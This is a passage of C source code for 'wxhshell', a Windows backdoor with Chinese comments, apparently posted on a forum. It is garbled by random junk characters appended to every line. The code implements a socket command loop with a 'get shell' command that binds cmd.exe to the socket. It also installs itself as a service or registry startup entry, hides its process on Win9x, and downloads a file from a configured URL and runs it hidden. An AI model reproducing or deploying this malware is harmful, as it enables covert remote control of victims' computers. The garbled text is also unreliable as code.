  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EqIs&){  
  } {BaPK&x,  
  else { ;<E?NBV^  
]rg-=Y k  
    switch(cmd[0]) { ymqn1ja1  
  O<Ay`p5  
  // 帮助 <4/q5*&  
  case '?': { |q\i, }  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cSG(kFQ  
    break; > #9 a&O  
  } dpt P(H  
  // 安装 ZGCp[2$  
  case 'i': { oq1wU@n  
    if(Install()) l-h[I>TW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &f?JtpB  
    else NxK.q)tj6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rfSEL 57'  
    break; 1L\r:mx3  
    } |N 2r?b/g  
  // 卸载 gS]  
  case 'r': { 7M?Sndp$  
    if(Uninstall()) Ip8:~Fl]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @j%@Z  
    else q1r-xsjV=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9fM=5  
    break; fJ\ u8  
    } q%/.+g2-\  
  // 显示 wxhshell 所在路径 ('d,Sh  
  case 'p': { #E<~WpP  
    char svExeFile[MAX_PATH]; Cgf4E{\U!  
    strcpy(svExeFile,"\n\r"); R /_vJHI  
      strcat(svExeFile,ExeFile); $!z.[GL  
        send(wsh,svExeFile,strlen(svExeFile),0); ?A*<Z%}1?  
    break; A4;~+L:M  
    } )2Y]A^Y   
  // 重启 @KZW*-"  
  case 'b': { w^3S6lK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); < mFU T  
    if(Boot(REBOOT)) 7nW <kA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^d(gC%+!u  
    else { .O+,1&D5  
    closesocket(wsh); )QnsRW{D"  
    ExitThread(0); g0;6}n  
    } j^f54Ky.  
    break; Gs04)KJm<  
    } YuzVh9jTI  
  // 关机 >I&s%4  
  case 'd': { 8Vt'X2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {\LLiU}MJC  
    if(Boot(SHUTDOWN)) } z7yS.{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mU||(;I  
    else { f&] !;)  
    closesocket(wsh); "uyr@u0b  
    ExitThread(0); B LZ<"npn  
    }  _Vc4F_  
    break; TvRm 7  
    } vn@sPT  
  // 获取shell /&c>*4)  
  case 's': { Uhyf  
    CmdShell(wsh); cN\_1  
    closesocket(wsh); 7s}F`fjKP  
    ExitThread(0); X2Q35.AB  
    break; qpa}6JVQ+j  
  } ;~`/rh V\  
  // 退出 aouYPxA`  
  case 'x': { wg:\$_Og  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zP c54 >f  
    CloseIt(wsh); PVmePgF   
    break; "`Xbi/i  
    } x{rjngp2  
  // 离开 V%zo[A  
  case 'q': { \y7Gi}nI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c<q~T >0k  
    closesocket(wsh); N7X(gh2h  
    WSACleanup(); ,hT**(W  
    exit(1); ;2sP3!*  
    break; {q~N$"#  
        } tejpY  
  } 'Ir   
  } (4rHy*6  
KyqP@ {  
  // 提示信息 AF{@lDa1h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RyWfoLc  
} YnCuF0>  
  } lfR}cx  
`sd H q  
  return; _C'VC#Sy  
} W(.svJUgb.  
|H 5$VSw  
// shell模块句柄 lhBAT%U\  
int CmdShell(SOCKET sock) D>-Pv-f/  
{ vrvi] Y8  
STARTUPINFO si; a 5w E{K  
ZeroMemory(&si,sizeof(si)); ,E+\SBQS_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dXU6TCjU7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?]TtUoY=)F  
PROCESS_INFORMATION ProcessInfo; r -uu`=,  
char cmdline[]="cmd"; D<*) ^^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lg^Lk\Y+re  
  return 0; I}]UQ4XJ  
} {D [z>I;D  
hN!{/Gc|  
// 自身启动模式 ^j1G08W  
int StartFromService(void) :e}j$v F  
{ 7sVO?:bj}  
typedef struct P(L iH  
{ DKl\N~{F  
  DWORD ExitStatus;  y'^b{q@  
  DWORD PebBaseAddress; /<o?T{z<-  
  DWORD AffinityMask; FJW,G20L  
  DWORD BasePriority; i&)OJy  
  ULONG UniqueProcessId; T~?&hZ>  
  ULONG InheritedFromUniqueProcessId; m*KI'~#$%  
}   PROCESS_BASIC_INFORMATION; G12o?N0p  
%F:; A  
PROCNTQSIP NtQueryInformationProcess; g12.4+  
T[J8zL O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /\E3p6\*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nD=N MqQ &  
=%b1EY k  
  HANDLE             hProcess; .j"@7#tW  
  PROCESS_BASIC_INFORMATION pbi; LftGA7uGJ)  
zq|NltK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  ]l  
  if(NULL == hInst ) return 0;  SxX  
iU# "G" &  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }0OQm?xh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bhfC2@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '\"5qB  
81)i>]  
  if (!NtQueryInformationProcess) return 0; (>*L-&-  
gaE8\JSr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =}SLQdT  
  if(!hProcess) return 0; Hig.` P  
W/%9=g$m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )k4&S{=  
~!/agLwY  
  CloseHandle(hProcess);  ?H8dyQ5"  
Z07n>|WF-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LvL2[xh%&  
if(hProcess==NULL) return 0; 7<X!Xok  
lKS 2OOYC`  
HMODULE hMod; Yv"B-oy  
char procName[255]; NK%Ok  
unsigned long cbNeeded; FbW$H]C$  
]Z [0xs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !H6X%hlk  
^Qxv5HS2  
  CloseHandle(hProcess); )X8N|W>vh  
|jcIn[)=  
if(strstr(procName,"services")) return 1; // 以服务启动 =RofC9,  
m RC   
  return 0; // 注册表启动 V2'5doo  
} yFTN/MFt  
]Z*B17//  
// 主模块 <s'0<e!./t  
int StartWxhshell(LPSTR lpCmdLine) K4OiKYq  
{ TW1#'G_#  
  SOCKET wsl; X*hPE=2` p  
BOOL val=TRUE; s Dsq:z  
  int port=0; nrbP3sf*  
  struct sockaddr_in door; d$n<^ ~Z  
Z!l]v.S  
  if(wscfg.ws_autoins) Install(); Nema>T]  
dl3}\o_  
port=atoi(lpCmdLine); n ON]YDg  
Cli:;yi&n  
if(port<=0) port=wscfg.ws_port; ##OCfCW  
\\`(x:\  
  WSADATA data; akWOE}5#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xv 7noq|  
BUyKiMW49  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S{,|Fa^PPO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8K&=]:(  
  door.sin_family = AF_INET; 3XNk*Y[5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bP4}a!t+n  
  door.sin_port = htons(port); y-"QY[  
:kd]n$]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6LabFX@{&  
closesocket(wsl); 7'|aEH  
return 1; t8*NldC  
} +/hd;s$x  
y!_8m#n S  
  if(listen(wsl,2) == INVALID_SOCKET) { 3kVN[0  
closesocket(wsl); Au:R]7   
return 1; z A/Fh(uX  
} $\PU Y8  
  Wxhshell(wsl); \(r$f!`  
  WSACleanup(); ; {v2s;  
 #J  
return 0; *<X*)A{C  
|n~,{=  
} Mu6DT p~k  
-]QP#_   
// 以NT服务方式启动 9q\_UbF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CW]Th-xc  
{ @R(Op|9  
DWORD   status = 0; buhbUmQ2  
  DWORD   specificError = 0xfffffff; Q&/WVRD  
i4&V+h"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]<C]&03))  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1Afy$It/{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -x|!?u5F  
  serviceStatus.dwWin32ExitCode     = 0; K \.tR  
  serviceStatus.dwServiceSpecificExitCode = 0; A,3qjd,$ c  
  serviceStatus.dwCheckPoint       = 0; i>dFpJ  
  serviceStatus.dwWaitHint       = 0; jWdZ ]0m  
g2A#BMe'.$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?F*I2rt#  
  if (hServiceStatusHandle==0) return; %al 5 {  
S27s Rxfr  
status = GetLastError(); QXgfjo  
  if (status!=NO_ERROR) u^W!$OfZpp  
{  {@k , e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; > }kZXeR|  
    serviceStatus.dwCheckPoint       = 0; [8K :ml  
    serviceStatus.dwWaitHint       = 0; Sf@xP.d  
    serviceStatus.dwWin32ExitCode     = status; dqO]2d  
    serviceStatus.dwServiceSpecificExitCode = specificError; dXsD%sG @  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OU!."r`9  
    return; -"?~By}<C  
  } l+X\>,  
d ,.=9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MZ~N}y  
  serviceStatus.dwCheckPoint       = 0; w(K|0|t  
  serviceStatus.dwWaitHint       = 0; SwM=?<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XWq"_$&LF  
} d1'= \PYr  
5hTScnL%  
// 处理NT服务事件,比如:启动、停止 vG\ b `  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @jrxbo;5  
{ ^)C#  
switch(fdwControl) *vq75k$7  
{ 7zIfsb  
case SERVICE_CONTROL_STOP: eBY/Y6R  
  serviceStatus.dwWin32ExitCode = 0; y9w,Su2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }w8yYI  
  serviceStatus.dwCheckPoint   = 0; X8A.ag0Uu  
  serviceStatus.dwWaitHint     = 0; c c/nzB  
  { [70 5[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1/K1e$r  
  } $RUK<JN$6  
  return; u! dx+vd  
case SERVICE_CONTROL_PAUSE: ^Y5I OX:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]'$:Y   
  break; 0G2Y_A&e**  
case SERVICE_CONTROL_CONTINUE: -Kcjnl92i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9}Ge@a<j  
  break; .tQ(q=#  
case SERVICE_CONTROL_INTERROGATE: COmu.'%*  
  break; ^YB2E*  
}; }Z< Sca7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @AK&R~<  
} @]p {%"$  
=K}T; c  
// 标准应用程序主函数 PZlPC#E-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k!'+7K.  
{ MU\Pggs  
#)]/wqPoW  
// 获取操作系统版本 mIqm/5  
OsIsNt=GetOsVer(); =E^/gc%X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I5`>XfO)  
Wh~,?}laj  
  // 从命令行安装 23 #JmR  
  if(strpbrk(lpCmdLine,"iI")) Install(); t*H|*L#YR  
-Q&@P3x  
  // 下载执行文件 w~Nat7nD  
if(wscfg.ws_downexe) { Cpy&2o-%v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }X/YMgJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5HE5$S  
} bOp%  
'hV(1Mw  
if(!OsIsNt) { ~t ZB1+%)  
// 如果时win9x,隐藏进程并且设置为注册表启动 1&<o3)L:  
HideProc(); axq~56"7E  
StartWxhshell(lpCmdLine); MUGoW;}v )  
} RDjw|V  
else lnm@DWhf  
  if(StartFromService()) nwC*w`4  
  // 以服务方式启动 J@}PySq  
  StartServiceCtrlDispatcher(DispatchTable); ^ meU&  
else 'cQ,;y  
  // 普通方式启动 +{C)^!zBK  
  StartWxhshell(lpCmdLine); %[M0TE=J  
J9DI(`  
return 0; {9.UeVz  
}
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只看该作者 1 发表于: 2006-10-10
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